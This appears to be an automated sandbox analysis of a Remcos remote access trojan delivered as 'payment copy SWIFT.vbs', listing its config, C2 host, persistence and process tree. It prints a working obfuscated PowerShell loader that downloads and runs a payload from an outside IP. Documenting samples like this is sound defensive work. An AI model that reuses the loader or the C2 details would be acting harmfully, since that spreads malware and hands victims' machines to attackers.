remcos | d98541f0e7659a620cfd349405facb991e7e7973e90f7bef7f7882315023e96f

Analysis

max time kernel
133s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
29/03/2022, 07:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
payment copy SWIFT.vbs
Size 2KB
Sample220329-hxmswscff2
SHA256 d98541f0e7659a620cfd349405facb991e7e7973e90f7bef7f7882315023e96f
MD5 d5f24aa0e828d9cf1ad6cd5b12b22d34
SHA1 505a0f72aa8d6b0403ebab2e0e291f53baa6bd09
SHA512 a3fe2718f5c677fc75f7d3bb0919bdb19f2dbde78aee2c912473248ccaa97e5294c63f97bcacd240e283be07f2d9acb7ad12f33eec23bbfc8a9bb9c7cb9d3fc6
MD5 SHA1 SHA512

Score

10^/10

remcos remotehost persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

rambolastblood.ddns.net:6327

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
vlc.exe
copy_folder
vlc
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
true
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
keylog_path
%AppData%
mouse_option
false
mutex
vlc-63SQWS
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
vlc
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title
notepad;solitaire;

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
1	1272	WScript.exe
13	2360	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4724	vlc.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Software\Microsoft\Windows\CurrentVersion\Run\	MSBuild.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\vlc = "\"C:\\Users\\Admin\\AppData\\Roaming\\vlc\\vlc.exe\""	MSBuild.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2360 set thread context of 2636	2360	powershell.exe	90

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2360	powershell.exe
2360	powershell.exe
2360	powershell.exe
2360	powershell.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2752	cmd.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	2360	powershell.exe
Token: SeIncreaseQuotaPrivilege	2360	powershell.exe
Token: SeSecurityPrivilege	2360	powershell.exe
Token: SeTakeOwnershipPrivilege	2360	powershell.exe
Token: SeLoadDriverPrivilege	2360	powershell.exe
Token: SeSystemProfilePrivilege	2360	powershell.exe
Token: SeSystemtimePrivilege	2360	powershell.exe
Token: SeProfSingleProcessPrivilege	2360	powershell.exe
Token: SeIncBasePriorityPrivilege	2360	powershell.exe
Token: SeCreatePagefilePrivilege	2360	powershell.exe
Token: SeBackupPrivilege	2360	powershell.exe
Token: SeRestorePrivilege	2360	powershell.exe
Token: SeShutdownPrivilege	2360	powershell.exe
Token: SeDebugPrivilege	2360	powershell.exe
Token: SeSystemEnvironmentPrivilege	2360	powershell.exe
Token: SeRemoteShutdownPrivilege	2360	powershell.exe
Token: SeUndockPrivilege	2360	powershell.exe
Token: SeManageVolumePrivilege	2360	powershell.exe
Token: 33	2360	powershell.exe
Token: 34	2360	powershell.exe
Token: 35	2360	powershell.exe
Token: 36	2360	powershell.exe
Token: SeIncreaseQuotaPrivilege	2360	powershell.exe
Token: SeSecurityPrivilege	2360	powershell.exe
Token: SeTakeOwnershipPrivilege	2360	powershell.exe
Token: SeLoadDriverPrivilege	2360	powershell.exe
Token: SeSystemProfilePrivilege	2360	powershell.exe
Token: SeSystemtimePrivilege	2360	powershell.exe
Token: SeProfSingleProcessPrivilege	2360	powershell.exe
Token: SeIncBasePriorityPrivilege	2360	powershell.exe
Token: SeCreatePagefilePrivilege	2360	powershell.exe
Token: SeBackupPrivilege	2360	powershell.exe
Token: SeRestorePrivilege	2360	powershell.exe
Token: SeShutdownPrivilege	2360	powershell.exe
Token: SeDebugPrivilege	2360	powershell.exe
Token: SeSystemEnvironmentPrivilege	2360	powershell.exe
Token: SeRemoteShutdownPrivilege	2360	powershell.exe
Token: SeUndockPrivilege	2360	powershell.exe
Token: SeManageVolumePrivilege	2360	powershell.exe
Token: 33	2360	powershell.exe
Token: 34	2360	powershell.exe
Token: 35	2360	powershell.exe
Token: 36	2360	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1272 wrote to memory of 2360	1272	WScript.exe	80
PID 1272 wrote to memory of 2360	1272	WScript.exe	80
PID 1272 wrote to memory of 2752	1272	WScript.exe	82
PID 1272 wrote to memory of 2752	1272	WScript.exe	82
PID 2360 wrote to memory of 4832	2360	powershell.exe	89
PID 2360 wrote to memory of 4832	2360	powershell.exe	89
PID 2360 wrote to memory of 4832	2360	powershell.exe	89
PID 2360 wrote to memory of 2636	2360	powershell.exe	90
PID 2360 wrote to memory of 2636	2360	powershell.exe	90
PID 2360 wrote to memory of 2636	2360	powershell.exe	90
PID 2360 wrote to memory of 2636	2360	powershell.exe	90
PID 2360 wrote to memory of 2636	2360	powershell.exe	90
PID 2360 wrote to memory of 2636	2360	powershell.exe	90
PID 2360 wrote to memory of 2636	2360	powershell.exe	90
PID 2360 wrote to memory of 2636	2360	powershell.exe	90
PID 2360 wrote to memory of 2636	2360	powershell.exe	90
PID 2360 wrote to memory of 2636	2360	powershell.exe	90
PID 2360 wrote to memory of 2636	2360	powershell.exe	90
PID 2360 wrote to memory of 2636	2360	powershell.exe	90
PID 2636 wrote to memory of 4292	2636	MSBuild.exe	91
PID 2636 wrote to memory of 4292	2636	MSBuild.exe	91
PID 2636 wrote to memory of 4292	2636	MSBuild.exe	91
PID 4292 wrote to memory of 2584	4292	WScript.exe	94
PID 4292 wrote to memory of 2584	4292	WScript.exe	94
PID 4292 wrote to memory of 2584	4292	WScript.exe	94
PID 2584 wrote to memory of 4724	2584	cmd.exe	96
PID 2584 wrote to memory of 4724	2584	cmd.exe	96
PID 2584 wrote to memory of 4724	2584	cmd.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\payment copy SWIFT.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $t0='DE5'.replace('D','I').replace('5','x');sal g $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,01000001,01100100,01100100,00101101,01010100,01111001,01110000,01100101,00100000,00101101,01000001,01110011,01110011,01100101,01101101,01100010,01101100,01111001,01001110,01100001,01101101,01100101,00100000,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,01100111,00101000,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,00101001,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,00110011,00101110,00110010,00110110,00101110,00110001,00111000,00110101,00101110,00110011,00110100,00101111,01110000,01100001,01110100,00110001,00101110,01101010,01110000,01100111,00100111,00101001,01111100,01100111) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };g([system.String]::Join('', $gf))
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4832
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Adds Run key to start application
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2636
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4292
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\vlc\vlc.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2584
      - C:\Users\Admin\AppData\Roaming\vlc\vlc.exe
        
        C:\Users\Admin\AppData\Roaming\vlc\vlc.exe
        6⤵
        Executes dropped EXE
        
        PID:4724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c move "C:\Users\Admin\AppData\Local\Temp\payment copy SWIFT.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
  2⤵
  - Suspicious behavior: RenamesItself
  PID:2752

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

install.vbs

Path C:\Users\Admin\AppData\Local\Temp\install.vbs
Size 406B
SHA256 4362971fecdd25739629706e784b22e9e12b67a0dc65a70f5d8896139655a3d9
MD5 f924776da3b9306135f258b408c9848b
SHA1 8d0a034351ad1d46ec0adb7ce2618e9d093f665f
SHA512 cdaaef03ecb2728dbe964ecf04b1d70ea5a506e79ceabd1401bf3e4b4065cc478cc26bd454784d17fbee59878c63236303c0c63306170cb0cf33040a1d5f6ccb
MD5 SHA1 SHA512

Submit Download

vlc.exe

Path C:\Users\Admin\AppData\Roaming\vlc\vlc.exe
Size 256KB
SHA256 ed9884bac608c06b7057037cc91d90e4ae5f74dd2dbce2af476699c6d4492d82
MD5 8fdf47e0ff70c40ed3a17014aeea4232
SHA1 e6256a0159688f0560b015da4d967f41cbf8c9bd
SHA512 bd69d092ed4f9c5e1f24eaf5ec79fb316469d53849dc798fae0fcba5e90869b77ee924c23cc6f692198ff25827ab60ad47bb46cadd6e0aadde7731cbafb013be
MD5 SHA1 SHA512

Submit Download

vlc.exe

Path C:\Users\Admin\AppData\Roaming\vlc\vlc.exe
Size 256KB
SHA256 ed9884bac608c06b7057037cc91d90e4ae5f74dd2dbce2af476699c6d4492d82
MD5 8fdf47e0ff70c40ed3a17014aeea4232
SHA1 e6256a0159688f0560b015da4d967f41cbf8c9bd
SHA512 bd69d092ed4f9c5e1f24eaf5ec79fb316469d53849dc798fae0fcba5e90869b77ee924c23cc6f692198ff25827ab60ad47bb46cadd6e0aadde7731cbafb013be
MD5 SHA1 SHA512

Submit Download

memory/2360-136-0x0000017ABAA53000-0x0000017ABAA55000-memory.dmp

Download

memory/2360-133-0x00007FFE88BE0000-0x00007FFE896A1000-memory.dmp

Download

memory/2360-134-0x0000017ABAA56000-0x0000017ABAA58000-memory.dmp

Download

memory/2360-132-0x0000017AD3C00000-0x0000017AD3C22000-memory.dmp

Download

memory/2360-135-0x0000017ABAA50000-0x0000017ABAA52000-memory.dmp

Download

memory/2636-137-0x0000000000400000-0x000000000047A000-memory.dmp

Download

memory/2636-140-0x0000000000400000-0x000000000047A000-memory.dmp

Download

memory/2636-139-0x0000000000400000-0x000000000047A000-memory.dmp

Download

memory/4724-147-0x0000000000A00000-0x0000000000A40000-memory.dmp

Download

memory/4724-148-0x00000000051C0000-0x00000000051DA000-memory.dmp

Download

memory/4724-149-0x00000000053A0000-0x00000000054FA000-memory.dmp

Download